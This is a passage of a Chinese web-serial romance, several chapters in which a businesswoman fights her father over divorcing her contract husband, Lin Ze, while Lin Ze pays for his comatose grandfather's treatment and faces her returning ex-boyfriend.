唐若涵声音急促,眼睛里的怒火几乎要喷出来。 唐英豪被怼得哑口无言。 恼火之余,他一脚踢在旁边的圆凳上。 “砰!” 沉闷的响声传出,雕花红木圆凳瞬间滚向一旁。 “怎么?这个时候,你还想用当年的办法吗?我不会再妥协了,我不可能再跟林泽过下去!” 唐英豪声音颤抖,眉毛也拧成一个疙瘩。 “到底是谁在你耳朵边上搬弄是非,你现在跟林泽是夫妻,是受法律保护的,这三年你们相敬如宾,从没眼红过,试问哪对夫妻能够做成这样?” “还有林泽,他这个人脾气好,对你也不错,正是有了他的照顾,你才能安心的做事业。” “这世上没有十全十美的人,你不要这山望着那山高!” “你可以要向往的自由,可你身上将会永远背着离婚的标签!” 话说到此,唐英豪的眼睛眯成一道缝,语气也跟着冰冷起来。 “别以为我不清楚,自从吴庸回来,你就没有消停过!” “先是去机场接机,然后又跟他一块儿吃饭。” “今天,你们两个人还一块去了赵家。” “别以为这一切做得天衣无缝,你的那些小动作我全都知道!” 唐若涵目瞪口呆,不可置信地望着唐英豪。 “你……跟踪我?你怎么可以这样,怎么可以做这种事情!” “我是关心你,我担心你被那个小兔崽子带坏!三年以前他就不是东西,三年过后他只能更坏!” 看着面前的父亲,唐若涵感觉,仿佛又回到了三年前。 那时候,他们也是这样步步紧逼。 甚至放出话,说如果自己不嫁给林泽,他们便能让吴庸在这世上消失! 而唐若涵也相信,依照唐家的势力手段,这样的事情他们不是做不出来。 所以。 唐若涵妥协。 三年之约,是她唯一熬下去的希望。 可现在,父亲又出尔反尔。 他要把自己唯一的梦想再次掐灭! 虽然唐若涵也清楚,现在的吴庸不见得是良配,可是,这个婚,必须得离! 深吸一口气,唐若涵努力让自己平静下来,可眼神却是前所未有的冰冷。 “爸,我会想尽一切办法离婚,你们改变不了我的决定!” 说完。 唐若涵又补充:“林泽是同意的,只要我们没意见,你们无法将我们捆绑在一起!” “你们?” 唐英豪声音骤然提高,脸上满是不可思议。 这三年里。 唐若涵很少提到林泽,即便提起,也是用“他”代替。 今天。 竟然一口一个“我们”? 难道,吴庸没有煽风点火,问题是出在林泽身上吗? 脑海当中闪过这个想法,唐英豪眼眸瞬间收紧。 林泽! 难道他说了什么? 还是说,林泽跟唐若涵私底下已经达成协议,所以,两个人才会齐心协力? 肯定是了! 当初林泽能够跟他们签下合同,现在,同样的事情就会发生在他跟唐若涵之间! 唐英豪的心一点点往下沉,手也握得愈来愈紧。 良久,唐英豪从喉咙里挤出一句。 “林泽,到底说了什么?” 对面。 唐若涵一怔。 显然被突如其来的询问震惊到了。 “他什么都说了!你们想听的不想听的,我现在已经全都知道。” “所以,我希望我们能妥善地解决这件事情。” “希望你能把相关证件交给我。” 唐英豪眼眸放大,当场否认。 “不可能!小涵,你在说谎!林泽不会这样做的,林泽是答应……” 话说到一半,唐英豪突然缓过神。 瞬间。 再次怒火中烧! 唐若涵,刚才是在套话! 嘴角露出苦笑,唐英豪声音当中充满自嘲。 “我唐英豪,自认为是玩转商场的老狐狸,没想到,今天竟然差点让你这个小狐狸给骗了!” “行了,吵也吵了,日子该过还得过,你回去吧。” “集团这两天没有什么事情,你休息两天散散心,等情绪调整过来了,再去处理相关事宜。” 唐若涵指尖掐入掌心,整个人都变得绝望。 “所以,不管我怎么说,你都没有在意,在你们的眼里,我就是那个棋子,就是任人摆布的木偶!” “别这么说,我们都是爱你的,整个唐氏,早晚也是你的,相信我们,跟林泽好好过下去,你一定会幸福的。” 唐若涵用力甩头,“不,你们嘴里的幸福,只是陷阱!我再也不会相信你们的谎言!” “还有,不要以为这件事情就此过去,林泽那边,我一定会问出个结果!” 甩下这句。 唐若涵头也不回地离开! 望着唐若涵的背影,唐英豪脸色瞬间阴沉。 刚才。 到底还是冲动了。 伸手抚了一下额头,唐英豪迅速拿起手机拨打电话。 “快点回来,出事了!那丫头,好像发现了什么。” “别问那么多了,见面再说!” “不可能,她要是敢离婚,我就敢打断她的腿。” 十几分钟后。 一个穿着暗紫色旗袍的中年女人,一路小跑着进来。 精致的发型,略显凌乱。 还没站稳身体,女人便紧张地询问。 “老公,到底怎么回事,小涵发现什么了?我们把事情隐藏得严严实实,她怎么会知道?” 唐英豪缓缓闭上眼睛,声音当中带着一丝猜测。 “我想着,应该是林泽对她说了什么,所以她才会坚决要离婚。” “林泽?怎么可能?如果他违反了合同条款,是要赔付十倍违约金的!他拿得出那么多钱吗?” 周美珊声音发颤,一边说话一边摇头。 唐英豪叹了一口气,同时也在疑惑。 如果不是林泽说出了什么,今天,唐若涵怎么会如此坚决? “老公,那……下一步怎么办?小涵是什么性子你也清楚,她要是犟起来,恐怕真的会把事情搞砸。” 此刻。 周美珊六神无主,几乎要哭出来。 唐英豪一声冷笑,凛冽的语气当中夹杂着恼怒。 “我倒要看看是她犟,还是我犟!如果硬跟我作对,我就打折她的腿!” 周美珊急得直跺脚,一把拉住唐英豪的胳膊,使劲地摇晃。 “你别说这些气话了,现在是置气的时候吗?” “这个时候,可不能犯糊涂!” “三年都等了,非在这关键的时候把事情搞糟?” 唐英豪咬牙切齿,“不管怎样,这婚,绝对不能离!这两天,我们好好想想办法!” …… 厨房。 林泽正在切菜。 突然。 一阵突兀的铃声传来。 手机屏幕上,瞬间闪出“唐总”两个字。 第19章 临时插播紧急新闻! “唐总,您有什么吩咐?” 林泽平静的声音当中夹杂了一丝客气。 反倒是唐若涵,语气有些急切。 即便隔着手机屏幕,林泽似乎都能感受到唐若涵呼之欲出的气愤。 “林泽,三年以前,你为什么要跟我结婚?你的目的是什么!” 林泽一怔。 随即,眉头皱起。 为什么要跟唐若涵结婚以及结婚的目的,都是合同当中要遵守的保密条款。 所以,不能说。 “你回答我的问题,立刻,马上!” 唐若涵语气强势,步步紧逼。 林泽的心猛地一紧。 “唐总,我不明白你在说什么。” 似乎知道林泽会这样讲,唐若涵话锋一转。 “好,那我们谈另外一件事,在跟我结婚之前,你跟我父母之间,是不是发生过什么?” “你把隐瞒的那些事情告诉我,我会给你一笔费用。” “价格你开。” 在此之前,唐若涵从来没有怀疑过林泽跟自己结婚的动机。 他一个乡下来的穷学生,在东海无权无势,无人脉,无根基。 跟自己结婚,无非就是为了钱。 这也是很多人想脱离贫困生活的捷径之一。 可今天,看到父亲惊慌的表情。 唐若涵突然意识到,事情没有那么简单。 林泽语气当中的坚决,更让唐若涵相信自己的直觉。 既然他看重的是钱,那就用钱来解决这一切。 只可惜。 再次问到同样的问题。 林泽给出的回答却让唐若涵震惊。 “唐总,这跟钱没有关系,哪怕你给我再多的钱,我也不会说。” 若违反合同,付十倍违约金。 三年期限马上就到,林泽不想节外生枝。 所以。 即便唐若涵给出的价格超过了违约金,他也不想言而无信。 况且,对于他跟爷爷来讲,唐英豪夫妇就是他们的救命恩人。 忘恩负义,这种事情他做不来。 “林泽!” 电话当中,唐若涵愤怒的声音再次传来。 紧接着。 门突然被打开! 还没走到林泽跟前,唐若涵已经把手机扔向一旁。 “啪!” 手机摔向桌子的声音,让林泽一怔。 而唐若涵,眼眸当中满是寒意,精致的面孔上,也如同淬了一层冰! “林泽,今天你必须把话讲清楚!” “唐总,您消消气,这件事情没有什么好说的。” 林泽垂下眼眸,躲开唐若涵的目光。 同时。 也想要转身。 唐若涵上前一步,直接挡在林泽面前。 “站住,你不许走!你跟我说实话,你是不是不想离婚?之前跟我说关于离婚的相关事宜,也都是假的!” “因为你知道,我父母是不会同意我们离婚的,所以,你在这里扮好人?” “林泽,我知道你缺钱,只要你说出数目,我都会满足你!” “我也明确地告诉你,婚我肯定会离,你们不要把我当傻子!” 唐若涵语气生硬,声音一句大过一句。 林泽却被唐若涵的这番话彻底整懵。 不想离婚? 怎么可能? 这三年里,唐若涵过得无比煎熬,自己也在数着天过日子。 要说自己不想离婚当好人,那绝对是天大的冤枉! 可是,一码归一码,这跟要讲出合同内容是另外一回事。 “离婚这件事情,唐总大可放心,我绝对不会反悔。” “你想要钱?还是说,私底下,你跟我父母达成了什么交易,所以才会配合离婚?” 此刻。 唐若涵的脑子一团乱。 父亲的态度让她震惊,但林泽跟父亲的想法又大相径庭。 到现在。 唐若涵都不知道该如何把事情理清楚。 伸手抚了一下额头,唐若涵颓废地坐到沙发上,声音当中满是疲惫。 “明明他们是我最亲的人,可为什么,我却有一种被牵着鼻子走的感觉!你们到底瞒了我什么!” “唐总,可怜天下父母心,为人父母,没有谁希望自己的孩子过得不幸福,他们这么做,肯定有他们的道理。” 眼看着林泽开始偏向父亲那边,唐若涵的眼眸又骤然变冷。 “所以,你不会跟我离婚的是不是?” “只要我们还是夫妻,就可以继续过当下的生活,你爷爷治病的费用,你也不用发愁。” “所以之前说的那一切都是假的,直到现在你还在扮好人!” 唐若涵声音颤抖,手,紧紧地握着。 林泽抬头,直接迎上唐若涵的目光。 “唐总,没有根据,任何猜测都没有意义,我会跟你离婚,这是我答应你的事情,同样,对之前的事情保密,也是我对你父母的承诺。” “我虽然没有你们有钱有势,可我也有做人的底线!” “爷爷的治疗费,对于我们来说,的确有很大的压力,可是,这不是唐总你进行猜测和质疑别人人品的理由!” 林泽语气坚决,身体站得笔直。 唐若涵心里咯噔一下。 林泽什么时候变成这样了? 在这三年里,他从来没有跟自己大声说过话。 今天这是怎么了? 难道,真的是自己误会他了,所以他才会这么生气? 唐若涵还在疑惑。 林泽已经转身。 该说的都已经说了,再聊下去也没有任何意义。 这个话题。 明显的结束了。 “站住!谁让你走的?”唐若涵的声音再一次传来,“我饿了,给我弄点吃的。” 林泽停下脚步,肩膀似乎颤了一下,“好的,唐总,您稍等。” 说完。 林泽转身去厨房。 唐若涵的目光却一直停在林泽的身上。 “算了,不吃了,别做了!” “好的,唐总。” 不再继续刚才的话题,林泽似乎又变成了昔日那个样子。 可是。 唐若涵心里的疑惑却越来越重,围绕着谜团的浓雾似乎也越来越浓。 …… 下午一点。 东海市电视台插播重要新闻。 “各位观众朋友们,下面,我们插播一条紧急新闻,近日,东海市博物馆发生一起盗窃案,镇馆之宝,九眼天珠被盗。” “目前,案件正在调查当中,警方及市长呼吁,希望广大市民积极配合,有提供线索者,政府将奖励10万元整。” “同时,市长再次呼吁大家,九眼天珠为国家级保护文物,是我龙国文化瑰宝,拒绝以任何形式任何理由私自交易,转卖!” 电视屏幕上,女播音员一脸沉重。 随即。 镜头转向市长的现场采访。 “各位市民,大家好,我是东海市市长徐正义,关于东海市博物馆失窃一案……” 望着临时插播的新闻,唐若涵满脸错愕! 脑海当中,瞬间闪过关于赵教授的种种猜测。 最后,唐若涵的目光定格在林泽身上。 这两天。 她看到林泽跟警方的人员在一起,而且不止一次。 “林泽,你……究竟瞒了我多少事情?” 第20章 后续费用,我想办法凑齐,可以吗? 厨房当中。 听着外面的播报,林泽嘴角动了动。 看来,张军他们这速度挺快的。 呼吁全市人民共同参与,提供线索,这个方法虽然有些冒险,实际上却是一场心理战。 同时。 林泽也希望那个盗窃团伙能早日归案。 唐若涵心情不好,林泽清楚,即便现在做好了饭菜,她也不会动一口。 可即便这样,林泽还是做了玉米鸡蛋甜汤。 饱满玉米粒当中,加入丝滑蛋花,又放上牛奶。 出锅时,林泽还放了枸杞做点缀。 营养价值高,奶香味还十足。 冷静下来的唐若涵,终究还是妥协。 小口喝着甜汤,看向林泽的目光当中,依旧夹杂着一丝复杂。 十几分钟后。 唐若涵离开餐桌。 林泽起身收拾。 “我要休息一会儿,四十分钟以后叫我。” 说话间。 唐若涵已经走向楼梯。 “好的,唐总。” 看了一下墙上的钟表,林泽默默记住时间。 三年的时间相处下来,林泽已经掌握了唐若涵的饮食起居习惯。 每次午饭过后,她都要小憩一会。 有时候是二十分钟,有时候是半个小时。 想到今天唐若涵发了那么大的火,林泽对于她要休息四十分钟,并没有感觉到意外。 将碗筷放到洗碗机,林泽关好厨房的门。 缓缓坐到沙发上,林泽拿起看了一半的书,仔细阅读起来。 “昏迷患者营养干预方法及注意事项。” 看到做标记的部分,林泽脸上多了一份郑重。 用不了多久,就可以跟唐若涵离婚。 接下来,他就可以把精力放在照顾爷爷这边了。 在感觉到压力的同时,林泽又多了些许轻松。 每看完几页,他会本能地看一下手机,随时注意着时间的变化。 突然。 身边的手机突然震动起来。 看到手机屏幕上备注的是“周医生”三个字,林泽迅速按下接听键。 “周医生,我是林泽,请问,是不是我爷爷出了什么事情?我马上就过去!” 问话间。 林泽心脏骤然收紧。 周医生是爷爷的主治医师,这个时候打电话过来,林泽本能地升起一种不好的预感。 “林先生,你先别紧张,我是有一个好消息要告诉你。” “刚才,我们对您爷爷的病情进行了专家会诊,最新研究出来的方案,可能对您爷爷的病情有所帮助。” 说到这里,周医生特意停顿了一下。 林泽的声音也跟着激动起来。 “是吗,那太好了,谢谢你,周医生!” 一想到爷爷有完全清醒的可能,林泽兴奋的手心又握紧了一些。 “你听我详细说一下,整个方案分4个疗程,每个疗程,又分4次进行。” “确切地说,是每周进行一次基础治疗。” “这个治疗方案在国外已经有了非常显著的临床效果,只是费用有些高,一次治疗,基本费用是9万块钱。” “如果林先生同意,我们希望方案能够尽快实施,毕竟早一天治疗,患者就有早一天痊愈的可能。” 周医生说得非常详细。 林泽开始沉默。 一次治疗9万块,一个疗程下来就是36万,四个疗程的话,那就是144万。 目前。 他倒是有一些积蓄,可跟治疗费用相比,还是差了很多。 “周医生,下午我去一趟医院,先把这一次治疗的钱打过去,先给我爷爷治疗着。” “后面的费用,我想办法凑齐,可以吗?” 林泽的话问得小心翼翼。 电话那端。 周医生也思索了片刻。 “林先生,对于你们的情况,我们也是了解的,那这个星期就先这样,我现在就给医院打申请报告,后续有了结果,我再通知你。” “好的,麻烦周医生了。” “不用客气,我们也希望每一位患者都能够恢复健康。” 林泽又说了几句感谢的话,这才将电话挂断。 缓缓合上书本,林泽开始考虑,如何解决接下来的费用问题。 几分钟的思索过后,依旧没有头绪。 林泽只好暂时放弃。 再次看向墙上的钟表,从唐若涵休息到现在,已经过去了半个小时。 再有十分钟,就要提醒唐若涵起床了。 这时。 外面突然响起敲门的声音。 林泽微微皱眉。 平常,最喜欢突然闯进来的就是苏晴。 不过,现在的时间点,苏晴应该在学校。 可是除了苏晴,还会是谁? 敲门声一直在继续,林泽快步来到门口。 虽然还有十分钟。 可若是因为敲门的声音吵醒了唐若涵,估计自己又少不了一番指责。 “谁啊?” 打开门的同时,林泽本能地问了一句。 可刚抬起头,便看到一张……熟悉的脸。 眼前的人,身着高定黑色西服,白色衬衣领口挺括,深灰色的领带,时刻透露着低调奢华。 刀削一般的下颌线,冰一样的目光…… 此刻。 吴庸正单手插兜,挑衅地望着林泽。 “开门怎么这么慢?平常的时候,你就是这个速度?” 林泽不卑不亢,简单地回答了一句。 “经常来找唐总的人,都会提前预约。” 吴庸一声冷笑。 “预约?笑话,那是针对其他人,我……例外!难道,小涵没有跟你说过?” 吴庸语气当中满是优越感。 林泽微微摇头。 “没有。” 吴庸一怔,随即眉头皱起,目光当中也多了一丝凌厉。 “林泽,你跟小涵之间的事情,我完全了解,再过几天,你们就不会再有任何联系,我劝你收起那些不切合实际的想法!” “我跟小涵之间是有坚定的感情基础的。” “别说是三年,就算是三十年,我们依旧不会放弃对方。” 跟吴庸的激动相比,林泽显得异常的淡定。 如果不是懒得跟他说话,林泽真想问上一句。 当年抛下唐若涵出国,也是你喜欢的表达方式? 见林泽没有接上自己的话茬,吴庸的兴致也降了很多。 抬眼朝房间里看了看,吴庸重新问道:“小涵呢?她怎么没在?” “唐总正在休息,如果吴先生不着急的话,可以进来等一会儿。” 看了一下时间,林泽又补充了一句,“现在,距离唐总下楼的时间还有六分钟。” 吴庸再次皱眉,重新审视起林泽来。 第21章 她在睡觉,你在干什么! 眼前的人身形消瘦,个子比自己还要高出半头。 鼻梁高挺,五官分明。 此刻,他一脸平静。 把话说完,竟然要转身离开! 可恶! “我还没有说让你走,你怎么先走了,还懂不懂礼貌?” 说话间。 吴庸快走几步,直接来到林泽面前。 本想在这里体现一下优越感,可吴庸发现,林泽根本不配合! 一股无明火,瞬间充斥吴庸胸膛。 语气自然也加重几分。 林泽早已看出吴庸的挑衅,只是,他不想在这种人身上浪费时间。 “吴先生,你可以在沙发上休息一会,我现在要去提醒唐总起床。” “等一等!”吴庸声音瞬间犀利,“小涵休息了多长时间?” “唐总说休息四十分钟。” 吴庸的眼睛眯成一道缝,语气越发耐人寻味。 “在这四十分钟的时间里,唐总在睡觉,你在干什么?” 林泽一怔,眉头本能皱起。 指了指茶几上的书籍,“看书。” “只是看书吗?你就没有做其他的事情?” 吴庸一边问,一边四处张望,打定主意要找出什么线索。 吴庸话里头的意思,林泽自然明白。 只是,这种没有意义的话题,没有必要讨论下去。 这时。 吴庸的目光突然一亮。 “玄关处,那幅画,看到没有?” 林泽没说话,只是转头顺着吴庸目光的方向看了看,接着点头。 “这幅画,是我送给小涵的,这幅画我用了一下午的时间,小涵就安静地等了一下午。” “小涵曾经说过,会永远保留着这幅画,那是我们感情的见证。” 说到此。 吴庸刻意抬了一下头,还清了清嗓子,脸上满是炫耀。 林泽眉头微微皱起。 不远处的那幅画,的确是自己搬进别墅就有的。 只是,整幅画就两片叶子,用得着画一个下午吗? 同时。 让林泽疑惑的是,吴庸说这么多,只是想表达他跟唐若涵之间的感情吗? 哪怕他们情深似海,又与他何干? 废话讲了一大堆,图什么? “吴先生,我真的要提醒唐总起床了。” 林泽再一次看表。 可吴庸却没有要停下来的意思。 “知不知道,为什么客厅里有一盆紫色的仙客来?因为小涵清楚,我喜欢的花就是仙客来。” “还有,如果我没猜错,别墅里应该有一个房间,是专门放置我们以前的物品的。” “小涵一定保存得完好无损……” 最后一句话,吴庸还没有说完,林泽突然开口将他打断。 “吴先生,你到底想表达什么?如果你只是想回忆过去,请不要浪费我的时间。” 林泽声音平静,眉头却已经皱起来。 吴庸一怔,目光突然变得犀利。 “好,既然你问起,那我就明说了。” “我跟小涵感情深厚,在分开的这三年里,我们彼此都没有放下过对方。” “现在我已经从海外回来,有些事情也应该做个了结。” “我奉劝你一句,时间到了就马上离婚,不要耍什么花招!” 吴庸说话越来越重,尤其是最后那句,语气里的威胁显而易见。 林泽不卑不亢。 “离婚的事情,我跟唐总已经说得非常明白,不用吴先生惦记。” 说完,林泽迅速转身。 还差两分钟,时间就要超了。 虽然有吴庸在这里无理取闹,但自己的职责,还是要尽的。 “你什么意思!你不会不想离婚吧?毕竟靠上了唐家这棵大树,一辈子吃穿都不用愁,恐怕离婚以后,你也无法适应平常的生活!” “所以!” “你根本不!想!离!婚!” “对不对!” 林泽无语。 这些人,为什么都如此热衷于猜测? 今天一天当中,猜测他不想离婚的话,他已经听过一遍了! 之前是唐若涵,现在又是吴庸。 真不知道,接下来还会是谁! 或许,在这些人的眼里,自己就是一个卑鄙小人。 之所以跟唐若涵结婚,就是为了唐家的钱,就是为了抱唐若涵的大腿! “吴先生,希望你尊重事实!我比唐总更想要离婚!” “你放屁,说这话,你骗谁呢?你要是想离婚,当初就不结婚了,别以为我不知道你那龌龊的心思!” 吴庸声音低沉,握紧的拳头上,青筋暴起! 林泽看着吴庸,就像看一只滑稽的猴子。 他不过实话实说。 可对方没听几句,就已经暴跳如雷。 连最基本的情绪波动都无法控制,何谈其他? “吴庸,你在干什么?” 楼梯拐角处。 唐若涵的声音慵懒,柳眉微蹙。 她缓缓下楼,白皙的脚腕在睡袍下若隐若现。 整个人,像一只慵懒的猫咪。 看看墙上的钟表,唐若涵又看向林泽。 “时间到了,为什么不叫我起床?” “唐总,刚才我几次想上去,都被吴先生拦住了。” 林泽如实回答,一个字都没多说。 可是,短短一句话,又像是把什么都说了。 吴庸惊愕地瞪着林泽,目光当中满是不可置信。 一直以来。 吴庸都以为在唐若涵面前,林泽是唯唯诺诺,低三下四的。 没有想到。 林泽跟唐若涵说话的时候,也依然不卑不亢。 而且,刚才他竟然还敢告诉唐若涵,是自己拦下了他! 现在他看向自己的眼神,分明是无所畏惧的! “原来是这样,幸亏我醒了,不然接下来的计划都要往后推。” 唐若涵的声音淡淡的,听不出任何情绪。 吴庸赶紧上前,和煦地笑起来。 “小涵,我想着让你多休息一会,毕竟工作再重要,也没有身体重要。” “不是工作的事。” 唐若涵本能地说了一句。 吴庸又赶紧改口。 “你说的是赵教授的事情吧,既然已经发生,你也不用太过于悲伤,人毕竟还是要往前看的。” “我知道了,你怎么来了,怎么也没有提前告诉我一声?” “我想你了啊,我恨不得天天看到你,就像刚才说的,之前的事情没有办法改变,我们也已经错过了很多,以后的日子里,我们要珍惜在一起的每一天!” 吴庸声音当中的甜蜜几乎要溢出来。 唐若涵柳眉皱起,陌生的望着眼前这个人。 吴庸这是怎么了,怎么说话这么肉麻? 而林泽。 身上当场起了一层鸡皮疙瘩。 “怎么,你的心里是不是也是这样想的?赶紧坐下,把外套披上,小心着凉。” 说话间。 吴庸已经伸出手,想把唐若涵搂在怀里。 唐若涵身体一侧,刻意避开。 “我没事,”接着,唐若涵看向林泽,“我渴了,想喝杯水。” “好的,唐总。” 吴庸一阵尴尬,表情瞬间僵在脸上。 第22章 安然的道歉。 看到面前的情形,吴庸心中发紧。 很明显。 唐若涵在排斥自己。 虽然她没有明说,但是肢体动作已经表现得非常明显了。 想想来这里的目的,吴庸努力平静了一下情绪。 毕竟已经分开了三年,即便之前有感情基础,也要循序渐进。 操之过急,肯定是不行的。 “小涵,我已经回来了,就不用麻烦林泽了,我记得,你喜欢喝温一些的水,不喜欢喝凉白开,对不对?” 说话的功夫,吴庸已经快走两步。 林泽想着,该不该把这个差使交给吴庸。 毕竟,吴庸是唐若涵的心上人。 这个时候让心上人好好表现一下,或许,唐若涵自己也会觉得非常有面子吧? 只是,话还没想好该怎么说,林泽就发现唐若涵已经走过来。 “不用了,我自己倒。” 一瞬间。 林泽愣住了。 今天,唐若涵的火气有点大! “小涵,你怎么了,是不是发生了什么事情?” 察觉到不对劲以后,吴庸赶紧开口询问。 随即,脑海当中闪过一个想法。 仅仅是那一瞬,吴庸的瞳孔便骤然收紧。 “小涵,你不是说去唐家老宅吗,是不是……事情不顺利?” 唐若涵的手抖了一下,“对,我爸不同意离婚。” “啊?为什么!” 吴庸喉结动了好几下,大脑一片空白! 这世上,真有怕什么来什么的事! 自己苦等三年,为的就是唐若涵离婚的那一天。 关键时刻,唐英豪这是要唱哪一出! 放下水杯,唐若涵情绪低落。 “我不知道,现在几乎是一团乱麻。” “会不会是有人从中作梗,万一,我是说万一,有人跟伯父吹了耳边风,伯父改变了主意也不一定。” 吴庸眉头紧皱,一边说话,一边看向林泽。 意思已经非常明显。 林泽,就是从中作梗的那个人! “吴先生,你是说,唐先生这耳朵根子软吗?” 林泽的一句问话瞬间让吴庸尴尬无比。 “林泽,你在说什么,我怎么会这么说唐伯父,你不要挑拨离间!” 林泽摇摇头。 “这可不一定,当年,唐先生没有允许你跟唐总结婚,你一直怀恨在心。” “现在,为了能够让唐总站在你那一边,不惜诋毁唐先生。” “你这可是在挑拨唐总跟唐先生之间的父女关系,吴先生,出国三年,你怎么把国外的那些糟粕都带回来了?” 吴庸目瞪口呆,被怼得一句话也说不出来。 如果不是亲耳听到。 他真不敢相信,这些话,竟然是从林泽的嘴里说出来的! 而看到眼前这副情形。 林泽心中一阵畅快。 不是喜欢猜测吗? 那我也猜给你看,这种滋味让你也尝一尝! 唐若涵柳眉蹙成一团,脸色瞬间难看起来。 今天一番激烈的争吵让她筋疲力尽,可听了林泽的话,唐若涵还是朝着吴庸这边看了看。 吴庸心里一咯噔! 唐若涵这是相信林泽的话了吗? 这怎么能行! “小涵,你听我说,事情不是这样的,你不要听林泽胡说八道,我怎么可能诋毁伯父,我这只是猜测。” “心里如果没有这样想,脑子里又怎么能够猜测得出来?” 林泽是时候补了一句。 吴庸浑身打哆嗦,气得都要吐血! “小涵,你一定要相信我,我真的不是这样想的……” “好了,吴庸,现在不是说这些的时候,我公司里有些业务需要去处理一下。” 之前。 因为赵教授的事情,唐若涵推掉了不少计划。 一天半的时间里,办公桌上的文件估计都要超过一尺了。 唐若涵特意休息四十分钟,就是为了调整情绪,好让自己进入工作的状态。 现在睡意全无,唐若涵自然要去公司。 面对唐若涵的拒绝,吴庸心中一阵不满,可脸上却丝毫没有表现出来。 “我知道,你一直把工作放在第一位,你去处理公司里的事情吧,我没事的。” “对了,如果有什么需要我帮忙的,你尽管开口。” “我说过,以后我的生活只围着你转,你的事情就是我的事情。” 虽然吴庸的话说得有些肉麻,可听完以后,唐若涵脸上的神情终于有了些许放松。 “感谢理解,那不好意思,你先回去吧!” 吴庸有些着急。 “要不要我送你?正好我现在也没有什么事情,这样还能多陪你一会儿。” “不用,我自己开车方便一些。” “那……晚上,我们再联系?” 唐若涵微微思索。 最后还是点了点头。 “那就再联系吧。” 望着眼前的两个人,林泽也在期待着唐若涵那句“晚上不回来吃饭。” 唐若涵上楼换衣服到下楼离开,自始至终,那句话都没有说出来。 倒是吴庸。 走的时候。 恨恨地朝他这边看了两眼,像是要把所有的恼火都发泄在他身上一样。 林泽一脸的不在意。 唐若涵不跟你约会跟我有什么关系,你在我这里抽什么风! 确定唐若涵离开,林泽也迅速收拾起来。 刚才,电话里跟周医生说好了,下午先去交九万块钱。 至于剩下的钱该怎么凑,林泽还没有想好。 但是。 如果能够治好爷爷的身体,哪怕有一丝希望,他也不会放弃! …… 东海市中西医结合医院。 林泽到达以后,先是见了周医生,随后去交费处交费。 等到一切办妥,林泽悬着的心,这才安定下来。 来到病房门口,林泽停下脚步,望着病床上瘦骨如柴的爷爷,又是一阵心疼。 爷爷双目紧闭,身上插了各种颜色的管子,手无力地搭在胸前。 一个穿着白大褂的医生,正在给集中精力给爷爷按腿。 “安医生,我来吧。” 林泽上前一步,感激地看向安然。 听到林泽的声音,安然回头,目光当中闪过诧异之色。 此刻。 一缕碎发,刚好从她额间散落下来,轻飘飘地搭在金边眼镜框上。 安然伸手,用手背蹭了一下碎发,“你什么时候过来,见过周医生了吗?” “已经见过了,费用也交了,周医生说,这两天就能给爷爷用药。” 安然微微点头。 “那就好,这种治疗方案,在国外的效果还是很显著的。” “只是国内,由于费用较高,用药人数还比较少。” “这三年,老人家受了不少罪,你的付出我们大家也看在眼里。” “所以,那天的事情,我向你道歉,真是不好意思。” 安然声音很低,眼睛刻意避开林泽的目光。 第23章 闪创的关键时刻。 林泽嘴角动了动,目光变得柔和。 重新看向安医生,他心中只有感激。 安然,东海市中西医结合医院神经内科副主任医师,毕业于东海医大,听说是硕士学位。 爷爷住院三年,主治医师是周医生。 但在中间有一段时间,周医生外出学习,安然这个副主任医师便接手了周医生的工作。 所以,对于安医生,林泽也是很熟悉的。 平日里,若是自己无法来医院,安医生便来得勤一些,照顾爷爷的时候,安医生也非常细心。 况且,那天她跟周医生的讨论也是事实。 “安医生,什么事啊?” 林泽说得轻描淡写,好像真的无事发生一样。 安然抬头,目光瞬间一怔,很快又反应过来。 “没事,我也有些糊涂了。” 见林泽给台阶下,安然也顺着他的话说下去。 林泽又朝着病床走了一步,很自然地把安然换开。 望着林泽娴熟的手法,安然悠悠叹了一口气。 在医院里工作几年,人情冷暖,安然早已看透。 人们都说,久病床前无孝子。 其实孝顺这件事情,最考验的就是人心。 在面对长期护理时,病人家属往往会做出各种选择。 面对金钱,富人不见得会大方,穷人也不见得会吝啬。 如同林泽。 从林振山住院到现在,林泽对老人家的态度始终没有变过。 无论林振山是昏迷还是清醒,林泽照顾他的动作始终小心翼翼,眼神当中的关切也从未曾减弱。 擦拭身体,理发,剪指甲,换洗衣服…… 三年,始终如一。 安然对林泽好奇的同时,也增加了不少好感。 只是,可惜…… 意识到思绪跑偏,安然心中猛地一紧,随即脸上一阵温烫。 这时。 闹铃提示音响起,安然急忙掏出手机看了一眼,“林泽,你先在这里陪爷爷,我有事要离开一下。” “好的,安医生,你去忙,爷爷这边我照顾就可以。” 林泽微微点头,语气客气。 安然放好手机,匆忙离开。 林泽转头,目光停留在林振山的脸上。 “爷爷,我来看你了。” …… 闪创影视传媒。 唐若涵刚到办公室门口,王静便一路小跑着过来。 “唐总,您可来了,办公室的电话都要被打爆了。” “我知道。” 唐若涵无视王静的焦急,伸手将办公室的门推开。 随即,又是一阵电话铃声。 王静一脸为难,犹豫着走到办公桌前。 “您好,这里是闪创影视传媒,请问……” 话没说完,对方焦急的声音便传来。 “唐总人在不在,你们的微电影什么时候制作完毕,按照合同规定,你们一星期之内再交不出合格作品,就是违约!” “徐总,您消消气,这两天我们唐总确实有事走不开,您放心,我们会在最短的时间之内将作品交上去。” 王静一脸赔笑,声音当中都带着谄媚。 “别说这些没用的,咱们是签了合同的,如果你们交不出作品,那就走法律程序!” “好的,徐总,您再给我们几天的时间,我们这边……” “啪!” 王静的话只说到一半,对方便已经将电话挂掉。 王静一脸尴尬,拿着电话看向唐若涵。 “怎么回事?” “每个月15号以前,必须搞定徐总那边的作品!” “哪个环节出了问题?拍摄部,还是后期制作部!” 唐若涵脸色难看,眼睛里的怒火几乎要喷出来! 王静将电话放回到原处,声音也变得刻板。 “唐总,我们已经按时交作品了,可徐总那边又给退回来了,说……不符合原创标准。” “啪!” 唐若涵一巴掌拍在桌子上:“创作部都去吃干饭了!我不止一次的强调,一定要原创,这是底线!” “对作品主题把控上,必须严格审核!” “他们都把我的话当成耳旁风了!” 王静吓得一句话也不敢说。 唐若涵声音再次犀利。 “徐总退回来的作品,全部重拍!你现在就给徐总打电话,让他再宽限两天,同时通知所有部门主管开会,从今天开始加班,四个拍摄小组同时进行!” “唐总,全部重拍,这时间上可能不允许……” 王静哭丧着脸,硬着头皮挤出一句。 对面。 唐若涵一脸的不容置疑。 “闪创不养闲人,作品达标是他们本职工作,完不成就扣奖金!” “这里不是慈善机构,每个月多发的30%奖金,请的是技术人员,不是佛龛上供的神像!” “另外,更新官网动态,继续高薪招聘专业人员!” 